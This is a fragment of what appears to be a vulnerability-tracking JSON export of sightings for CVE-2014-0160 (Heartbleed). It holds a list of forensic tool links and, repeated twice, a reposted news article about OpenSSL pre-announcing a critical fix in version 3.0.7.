https://belkasoft.com/ram-capturer\nForensic Investigator https://splunkbase.splunk.com/app/2895/\nFAW\nhttps://en.fawproject.com/\nFTK Imager https://www.exterro.com/sorry-for-the-inconvenience\nX-Ways Forensics http://www.x-ways.net/forensics/\nHashMyFiles https://www.nirsoft.net/utils/hash_my_files.html\nCrowd Response\nhttps://www.crowdstrike.com/resources/community-tools/ https://geekflare.com/how-to-test-heart-bleed-ssl-vulnerabilities-cve-2014-0160/\nNFI Defraser\n\nhttps://sourceforge.net/projects/defraser/ ExifTool\nhttps://exiftool.org/ Toolsley\nhttps://www.toolsley.com/ SIFT\nDumpzilla http://www.dumpzilla.org/\nBrowser History\nFoxton has two free exciting tools.\nBrowser history capturer \u2013 capture web browser (chrome, firefox, IE & edge) history on\nWindows OS.\nBrowser history viewer \u2013 extract and analyze internet activity history from most of modern browsers. Results are shown in the interactive graph, and historical data can be filtered.\nForensicUserInfo https://github.com/woanware\nKali Linux https://www.kali.org/\nPaladin https://sumuri.com/software/paladin/\nSleuth Kit http://www.sleuthkit.org/sleuthkit/\nCAINE https://www.caine-live.net/\nhttps://www.caine-live.net/page5/page5.html", "creation_timestamp": "2026-09-02T01:04:13.008447Z"}, {"uuid": "6734adbd-5079-40eb-af4a-bbd989206cb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/hacking_Attack/74815", "content": "Black Hat Ethical Hacking\nOpenSSL Gives Heads Up to Critical Vulnerability Disclosure\n\nOpenSSL Gives Heads Up to Critical Vulnerability DisclosurePost Views: 66 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Developers of the OpenSSL\u00a0cryptography\u00a0library have taken the unusual step of pre-warning that an update due to land next Tuesday (November 1) will fix a critical vulnerability.The looming OpenSSL 3.x patch represent only the second time the project has addressed a flaw classified as \u2018critical\u2019. The only previous OpenSSL update of such elevated severity addressed the infamous Heartbleed vulnerability (CVE-2014-0160).\n\nHeartbleed was a memory handling bug that opened the door for attackers to access secret keys, passwords, and sensitive personal information from vulnerable servers. At the time of its discovery eight years ago, experts from Netcraft estimated that the flaw affected 17% of SSL web servers or \u201chalf a million widely trusted websites\u201d.\n\nLittle is known about the upcoming critical fix (OpenSSL 3.0.7), other than it is restricted to OpenSSL version 3.0, the latest release line of the software, and does not affect previous versions.\n\nOpenSSL 3.0.x only debuted in 2021, a factor that might limit the extent of the problems next week\u2019s announcement will reveal. OpenSSL has been around since 1998 and most systems today are still built using earlier release lines.\n\nNo details of the upcoming patch or the critical flaw it tackles have been released. In the absence of any hard info, infosec Twitter has gone into overdrive with some speculating that the vulnerability might represent the \u201cnext Heartbleed\u201d.\n\nOne security expert from Google, for example, has suggested\u00a0on the basis of recent software commits and a blog post by the OpenSSL team that the update might relate to a denial-of-service (DoS) issue.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Feel the DHEatThis particular DoS bug \u2013 known as DHEat and previous confirmed to affect OpenVPN and SSH services \u2013 involves enforcing the Diffie-Hellman key exchange.\n\nDHEat (AKA CVE-2002-20001) scores 7.5 on the CVSS 3.1 index, indicating high severity and falling somewhat short of critical.\n\nOn the face of it, an OpenSSL patch for DHEat would appear to be a poor candidate for a critical patch unless OpenSSL is particularly vulnerable. A recent OpenSSL blog post\u00a0referencing DHEat makes it even more unlikely that the looming patch tackles this issue.\n\nIt seems more likely that a previously unknown vulnerability is at play, according to experts quizzed by The Daily Swig.\nTrending: Exploit XSS Injections in a one-line powerful Technique\nTrending: Recon Tool: Hakrawler Action stationsBrian Fox, CTO of Sonatype, told us\u00a0that organizations should audit their code base for exposure to any vulnerability in OpenSSL 3.0.x, leaving them prepared to either patch or isolate vulnerable systems next week.\n\n\u201cIn the first instance, it\u2019s critical to find out where 3.x is used,\u201d Fox said. \u201cMore importantly, it\u2019s vital to get tooling in place to avoid having to audit and identify components manually every time.\u201d\n\nFox went on to argue that speculation about the content of the upcoming fix were, at best, \u201cunhelpful\u201d. He said: \u201cThe speculation assumes that the fix is available in the publicly visible source and the advance notice gives attackers time to find it. This assumption may not be true. It is a best practice at some times to embargo the actual change until after the announcement for this exact reason.\n\n\u201cThe team at OpenSSL consists of some of the foremost experts in handling high profile open sou[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T05:00:04.297268Z"}, {"uuid": "4edad3af-d71f-4c94-a8a7-f583253ee9e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/hacking_Attack/74815", "content": "Black Hat Ethical Hacking\nOpenSSL Gives Heads Up to Critical Vulnerability Disclosure\n\nOpenSSL Gives Heads Up to Critical Vulnerability DisclosurePost Views: 66 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Developers of the OpenSSL\u00a0cryptography\u00a0library have taken the unusual step of pre-warning that an update due to land next Tuesday (November 1) will fix a critical vulnerability.The looming OpenSSL 3.x patch represent only the second time the project has addressed a flaw classified as \u2018critical\u2019. The only previous OpenSSL update of such elevated severity addressed the infamous Heartbleed vulnerability (CVE-2014-0160).\n\nHeartbleed was a memory handling bug that opened the door for attackers to access secret keys, passwords, and sensitive personal information from vulnerable servers. At the time of its discovery eight years ago, experts from Netcraft estimated that the flaw affected 17% of SSL web servers or \u201chalf a million widely trusted websites\u201d.\n\nLittle is known about the upcoming critical fix (OpenSSL 3.0.7), other than it is restricted to OpenSSL version 3.0, the latest release line of the software, and does not affect previous versions.\n\nOpenSSL 3.0.x only debuted in 2021, a factor that might limit the extent of the problems next week\u2019s announcement will reveal. OpenSSL has been around since 1998 and most systems today are still built using earlier release lines.\n\nNo details of the upcoming patch or the critical flaw it tackles have been released. In the absence of any hard info, infosec Twitter has gone into overdrive with some speculating that the vulnerability might represent the \u201cnext Heartbleed\u201d.\n\nOne security expert from Google, for example, has suggested\u00a0on the basis of recent software commits and a blog post by the OpenSSL team that the update might relate to a denial-of-service (DoS) issue.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Feel the DHEatThis particular DoS bug \u2013 known as DHEat and previous confirmed to affect OpenVPN and SSH services \u2013 involves enforcing the Diffie-Hellman key exchange.\n\nDHEat (AKA CVE-2002-20001) scores 7.5 on the CVSS 3.1 index, indicating high severity and falling somewhat short of critical.\n\nOn the face of it, an OpenSSL patch for DHEat would appear to be a poor candidate for a critical patch unless OpenSSL is particularly vulnerable. A recent OpenSSL blog post\u00a0referencing DHEat makes it even more unlikely that the looming patch tackles this issue.\n\nIt seems more likely that a previously unknown vulnerability is at play, according to experts quizzed by The Daily Swig.\nTrending: Exploit XSS Injections in a one-line powerful Technique\nTrending: Recon Tool: Hakrawler Action stationsBrian Fox, CTO of Sonatype, told us\u00a0that organizations should audit their code base for exposure to any vulnerability in OpenSSL 3.0.x, leaving them prepared to either patch or isolate vulnerable systems next week.\n\n\u201cIn the first instance, it\u2019s critical to find out where 3.x is used,\u201d Fox said. \u201cMore importantly, it\u2019s vital to get tooling in place to avoid having to audit and identify components manually every time.\u201d\n\nFox went on to argue that speculation about the content of the upcoming fix were, at best, \u201cunhelpful\u201d. He said: \u201cThe speculation assumes that the fix is available in the publicly visible source and the advance notice gives attackers time to find it. This assumption may not be true. It is a best practice at some times to embargo the actual change until after the announcement for this exact reason.\n\n\u201cThe team at OpenSSL consists of some of the foremost experts in handling high profile open sou[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:57.334868Z"}]}